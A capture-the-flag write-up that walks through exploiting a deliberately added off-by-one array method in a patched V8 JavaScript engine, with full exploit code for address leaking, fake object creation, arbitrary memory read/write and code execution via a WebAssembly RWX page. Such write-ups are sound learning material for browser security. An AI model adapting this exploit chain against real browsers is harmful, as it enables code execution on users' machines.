Challenge Introduction
Yet another off by one $ nc 212.64.104.189 10000 the v8 commit is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.
An “oob.diff” file was provided, together with a precompiled chrome build.
This write-up will focus on the exploitation challenge, rather than the binary fitting of the exploit, so the precompiled binaries are irrelevant for this write-up.
oob.diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView:
Patching, Building and Modifying
First things first, the patch is for chrome’s JavaScript engine called V8.
We need a working source build that fits the patch to apply the patch to it.
The challenge introduction quotes the git commit that we need to get.
But its not as simple as git clone, since chromium uses a complicated build system using google’s depot tools, first thing we do is get the latest version of v8 to build, then we’ll move back to the desired git hash.
$ cd ~ $ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git $ export PATH=$PATH:~/depot_tools
Now to get v8’s code, it should be placed in a v8 sub-folder inside chormium’s source.
We won’t be getting full chromium source, just build the paths, and get v8.
$ mkdir chromium $ cd chromium $ fetch --no-history v8
Now to build v8, and make sure it works.
(if you have missing dependencies, try again after installing build-essentials and pkg-config, if it still doesn’t compile, try running ./build/install-build-deps.sh)
$ cd v8 $ ./tools/dev/gm.py x64.release ... [1222/1222] LINK ./d8 Done! - V8 compilation finished successfully. $ ./out/x64.release/d8 V8 version 7.5.0 (candidate) d8> console.log("Hello World!"); Hello World! undefined d8>
Now to get the version we need for the patch, and apply the patch on top of it.
$ git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 $ git clean -ffd $ git apply < ~/oob.diff $ ./tools/dev/gm.py x64.release
This should build the correct version of v8 with the patch, in ./out/x64.release/d8
What was patched?
The patch added a simple function called “oob()” to built-in JavaScript arrays.
(This can be seen in lines 9-10 of the diff)
The implementation of the function is on lines 22-42 of the diff.
The code roughly does the following:
- if oob() is called without any arguments, it returns the item at the index of the length of the array. (This means off-by-one since the array indexes are zero based, the “length” index is one after the last valid index) (lines 31-33 in the diff)
- if oob() is called with an argument, oob(5) it takes the data and writes it at the “length” offset, so again off-by-one, but this time writing that number instead of reading. (lines 36-40)
Lets test and see what it gives us.
Start up d8 with natives syntax switch to allow %DebugPrint command.
(./out/x64.release/d8 –allow-natives-syntax)
And try the following code:
var arr = [5.5, 5.5, 5.5, 5.5]; console.log(arr.oob()); %DebugPrint(arr);
This gives us a floating point number for the oob() value, and a lots of information about arr.
(if you get a shorter debug output either rebuild with x64.debug, or modify the “#ifdef DEBUG” in v8 code that changes DebugPrint’s behavior, look for RUNTIME_FUNCTION(Runtime_DebugPrint))
Something was leaked, but the floating point number does not help us figure out what it was.
Let’s make a function to output Float64 number’s hexadecimal representation in memory.
We’ll be using ArrayBuffer and DataView for that.
function float2bigint(float_num) { let ab = new ArrayBuffer(8); let dv = new DataView(ab); dv.setFloat64(0, float_num); let res = BigInt(dv.getUint32(0)); res = (res << BigInt(32)) + BigInt(dv.getUint32(4)); return res; } var arr = [5.5, 5.5, 5.5, 5.5]; console.log(float2bigint(arr.oob()).toString(16)); %DebugPrint(arr);
Now we are getting somewhere…
8d828682ed9 DebugPrint: 0x365517f0df09: [JSArray] - map: 0x08d828682ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2c61bb191111 <JSArray[0]> - elements: 0x365517f0ded9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS] - length: 4 ... ...
Looks like we are leaking the array’s map structure (8d828682ed9), which among other things defines it’s data type, this means we can also change it…
Object Address Leaking
Now that we know we can change an object’s map we can start thinking of ways to abuse that.
We can change the type of an array, from some complex type requiring pointers, to a simple type that uses data as is, this will give us access to the pointers as data.
This will effectively become a way to get an address of an object in memory.
// Create an object array, and remember its map var obj_arr = [console.log]; var obj_arr_map = obj_arr.oob(); // Create a Float array, and remember its map var float_arr = [2.2]; var float_arr_map = float_arr.oob(); function get_addr_of(obj) { // Set the array's object to the object we want to get address of obj_arr[0] = obj; // change object array to float array obj_arr.oob(float_arr_map); // save the pointer let res = obj_arr[0]; // return object array to being object array obj_arr.oob(obj_arr_map); // return the result return res; } var arr = [5.5, 5.5, 5.5, 5.5]; console.log(float2bigint(get_addr_of(arr)).toString(16)); %DebugPrint(arr);
This should give us the address of arr array, once from our function, and another time from DebugPrint to compare, if all went well this should look something like this:
2bd2f3b8e249 DebugPrint: 0x2bd2f3b8e249: [JSArray] - map: 0x23626db82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] ... ...
Crafting an Object
Now lets use the same technique and create an object pointing to some address we provide.
The steps for that are very similar to what we used before:
- Set the pointer as data in a float array’s first location.
- Change the array to an object array, and return the object in the first location.
function create_object_from(float_addr) { // Set object array to be float array obj_arr.oob(float_arr_map); // Set the first value to the address we want obj_arr[0] = float_addr; // Set the array to be object array again obj_arr.oob(obj_arr_map); // Return the newly crafted object return obj_arr[0]; } var old_str = "Out with the old..."; var new_str = "In with the new!"; var arr = [old_str, "But this won't change..."]; console.log(arr); var new_str_addr = get_addr_of(new_str); arr[0] = create_object_from(new_str_addr); console.log(arr);
If all went well we should see the output change from old string to new.
Out with the old...,But this won't change... In with the new!,But this won't change...
Crafting a Leaky Array
Now using the primitives we got so far we can craft our own float array.
Checking the structure in DebugPrint and GDB we will need a few things prepared.
- A user controlled buffer we know the address of.
We can find the start of the data in a predefined float array because it’s mapped before the structure that we can leak the address of. - A map structure of a valid double array. We can leak that with oob().
- A pointer to a valid properties structure. We can fake an empty one.
- Prepare and get the pointer to elements array, with a tag and length of its own. We can prepare this in our controlled buffer.
This is how the controlled buffer should look:
Offset | Value | Description |
---|---|---|
0 | 0 | null for property pointer |
8 | 0 | null for property pointer |
16 | 0x139e835014f9 | Fixed Double Tag |
24 | 0x400 << 32 | Number of elements |
32 | 2.3 | float[0] |
40 | 2.3 | float[1] |
48 | <From Leak> | Double Array Map |
56 | <Calculate Address> | Pointer to properties at offset 0 |
64 | <Calculate Address> | Pointer to elements at offset 16 |
72 | 0x400 << 32 | Number of elements |
Now creating an object to offset 48 should create an array that can access 1024 elements, 1000+ of them beyond its own memory allocation.
function bigint2float(bi) { let ab = new ArrayBuffer(8); let dv = new DataView(ab); dv.setUint32(4, Number(bi & BigInt(0xFFFFFFFF))); dv.setUint32(0, Number(bi >> BigInt(32))); let float_num = dv.getFloat64(0); return float_num; } // Create the storage array with 10 doubles var sample_arr = [2.3, 2.3, 2.3, 2.3, 2.3, 2.3, 2.3, 2.3, 2.3, 2.3]; // prepare an array buffer in memory after sample_arr so we can find it once leaky arr is working. var abuf = new ArrayBuffer(1337); var abv = new DataView(abuf); abv.setUint32(0, 0x41414141); abv.setUint32(4, 0x41414141); // Get its mapping for future use var double_arr_map = sample_arr.oob(); // Set properties location to 0 sample_arr[0] = bigint2float(BigInt(0)); sample_arr[1] = bigint2float(BigInt(0)); // Fixed double tag, set it from DebugPrint and hope for the best sample_arr[2] = bigint2float(BigInt("0x0000139e835014f9")); // Set number of elements sample_arr[3] = bigint2float(BigInt(0x400) << BigInt(32)); // leave 4 and 5 as double numbers // set the previously saved double mapping sample_arr[6] = double_arr_map; // get pointer to the arr for pointer calculation var sample_arr_addr = get_addr_of(sample_arr); // properties offset is the number of elements times 8 back from the address of the array sample_arr[7] = bigint2float(float2bigint(sample_arr_addr) - BigInt(8 * sample_arr.length)); // elements offset is the previous offset + 16 sample_arr[8] = bigint2float(float2bigint(sample_arr[7]) + BigInt(16)); // the length is 0x400 sample_arr[9] = bigint2float(BigInt(0x400) << BigInt(32)); // actual object address is 4 * 8 after elements var leaky_arr = create_object_from(bigint2float(float2bigint(sample_arr[8]) + BigInt(4 * 8))); // get the offset into abuf ArrayBuffer var i_offset = (float2bigint(get_addr_of(abuf)) - float2bigint(sample_arr[8])) / BigInt(8); i_offset = Number(i_offset) + 2; // Leak info out of it console.log(float2bigint(leaky_arr[i_offset]).toString(16)); %DebugPrint(abuf);
Above script creates leaky_arr , and calculates the offset and leaks a very specific field in the ArrayBuffer allocated after it. (The backing_store…)
55d1ce121af0 DebugPrint: 0x22429650f3f1: [JSArrayBuffer] - map: 0x1a1ecd3021b9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2c78d9e4e981 <Object map = 0x1a1ecd302209> - elements: 0x104f16e80c71 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x55d1ce121af0 - byte_length: 1337 ...
Getting Memory R/W Primitive
We are almost there…
The leaky array can’t access an arbitrary address yet, and changing elements pointer won’t be enough since the elements structure it points to must have a good header to work.
But the leaky array can help us find an ArrayBuffer that is allocated after it, and modify it to our needs.
An ArrayBuffer has a convenient size and backing store pointer that could be changed to be able to read and write anywhere.
We already know how to get to the backing_store from previous code.
Below code finally creates a Memory RW Primitive out of the leaky_arr + ArrayBuffer.
function read_uint64(addr_bigint) { // get the float64 number ftom the bigint address let addr_float = bigint2float(addr_bigint); // use the leaky array to overwrite arraybuffer's pointer to point to it leaky_arr[i_offset] = addr_float; // use the dataview that is linked to the arraybuffer to fetch the float64 number we want let result_bigint = float2bigint(abv.getFloat64(0, true)); // return the result return result_bigint; } function write_uint64(addr_bigint, value_bigint) { // get the float64 number ftom the bigint address let addr_float = bigint2float(addr_bigint); // get float64 value let value_float = bigint2float(value_bigint); // use the leaky array to overwrite arraybuffer's pointer to point to the address we want leaky_arr[i_offset] = addr_float; // use dataview to write a float64 there abv.setFloat64(0, value_float, true); } // now test the read and the write. var test_rw_arr = [5.1,5.1,5.1,5.1,5.1,5.1]; %DebugPrint(test_rw_arr); // addres -1 because of tagged pointers var test_rw_addr = float2bigint(get_addr_of(test_rw_arr)) - BigInt(1); // read it using the primitive we made var r_test = read_uint64(test_rw_addr); // this should show mapping from the array (compare to the debugprint above) console.log(r_test.toString(16)); // now lets change some values write_uint64(test_rw_addr - BigInt(16), float2bigint(10.5)); // this should show 10.5 in one of the values in the array console.log(test_rw_arr);
Executing above code will prove we can now freely read and write any address directly.
DebugPrint: 0x165865d50971: [JSArray] - map: 0x137327bc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] ... 137327bc2ed9 5.1,5.1,5.1,5.1,10.5,5.1
Getting Code Execution
Now the game is not over yet.
We want to get our own code executed, and that is a problem in modern v8, since it has no memory mapped with RWX permissions.
So the previous technique of using JIT compiled code no longer works.
Good thing we have WebAssembly, a nice feature that allows loading and executing a precompiled bytecode, and it is implemented using an RWX page.
All that is left for us is to track that RWX page down in memory using our RW primitive, overwrite some code there, and call it.
Lets start by making a simple web assembly function, and getting the compiled code for it.
There is a good code example at https://webassembly.github.io/wabt/demo/wat2wasm/ and it gives the compiled bytes to download.
Lets use that and make a WebAssembly object in JS with that code, and call it.
var code_bytes = new Uint8Array([ 0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01, 0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00, 0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E, 0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]); const wasmModule = new WebAssembly.Module(code_bytes.buffer); const wasmInstance = new WebAssembly.Instance(wasmModule, {}); const { addTwo } = wasmInstance.exports; console.log(addTwo(5, 6)); %DebugPrint(wasmInstance);
Above code should print 11 after the function executes (the web assembly code is a simple sum function).
And it should also give us information about the WebAssembly lnstance, running this with GDB attached (with GEF installed) will help us find the offset to the executable area.
Run the code with –shell as d8’s argument, inside gdb, this will stop the js from exiting, and allow us to inspect memory and pages.
Check what is WebAssembly’s address, for example:
DebugPrint: 0x2943f18a1a61: [WasmInstanceObject] in OldSpace
Now find where the rwx page is from a shell by grep-ing the process memory map.
$ cat /proc/29461/maps | grep -i rwx 2f109f2e9000-2f109f2ea000 rwxp 00000000 00:00 0
Now from d8’s shell, pressing ctrl+c should bring up GDB, and now using GEF, find where is a pointer to the rwx page.
gef➤ search-pattern 0x2f109f2e9000 [+] Searching '\x00\x90\x2e\x9f\x10\x2f' in memory [+] In (0x2943f1880000-0x2943f18c0000), permission=rw- 0x2943f18a1ae8 - 0x2943f18a1b00 → "\x00\x90\x2e\x9f\x10\x2f[...]" [+] In '[heap]'(0x555556825000-0x555556912000), permission=rw- 0x5555568da830 - 0x5555568da848 → "\x00\x90\x2e\x9f\x10\x2f[...]" 0x5555568e5418 - 0x5555568e5430 → "\x00\x90\x2e\x9f\x10\x2f[...]" 0x5555568e5480 - 0x5555568e5498 → "\x00\x90\x2e\x9f\x10\x2f[...]" 0x5555568e54a0 - 0x5555568e54b8 → "\x00\x90\x2e\x9f\x10\x2f[...]"
Now calculate the offset from WASMInstance.
That is 0x2943f18a1ae8 – 0x2943f18a1a61 = 0x87.
Now lets try to fetch the RWX page pointer using that offset.
var wasm_addr = float2bigint(get_addr_of(wasmInstance)); var rwx_page = read_uint64(wasm_addr + BigInt(0x87)); console.log(rwx_page.toString(16));
Now that we have the address of the RWX page, it starts with a table of pointers to functions, so if we want to change the first (and only) function’s code, we need to read the first pointer, and modify the code it points to, that first pointer is starting 2 bytes after the start of the page.
The following final part allows us to run our own instructions, in this case only an int3 breakpoint that will be caught by GDB if we run it attached.
// read rwx page's first pointer var func_code_addr = read_uint64(rwx_page + BigInt(2)); // modify the function's code to have int3 write_uint64(func_code_addr, BigInt("0xCCCCCCCCCCCCCCCC")); // run the function addTwo(13,37);
Running this with GDB attached will stop us at SIGTRAP trying to run our code.
0x4afcad89260 int3 → 0x4afcad89261 int3 0x4afcad89262 int3 0x4afcad89263 int3 0x4afcad89264 int3 0x4afcad89265 int3 0x4afcad89266 int3 ──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "d8", stopped, reason: SIGTRAP [#1] Id 2, Name: "V8 DefaultWorke", stopped, reason: SIGTRAP ────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x4afcad89261 → int3
This is the game over we wanted to achieve in this write-up.
Hope you enjoyed reading as much as I enjoyed solving this.
I like shifting bytes around…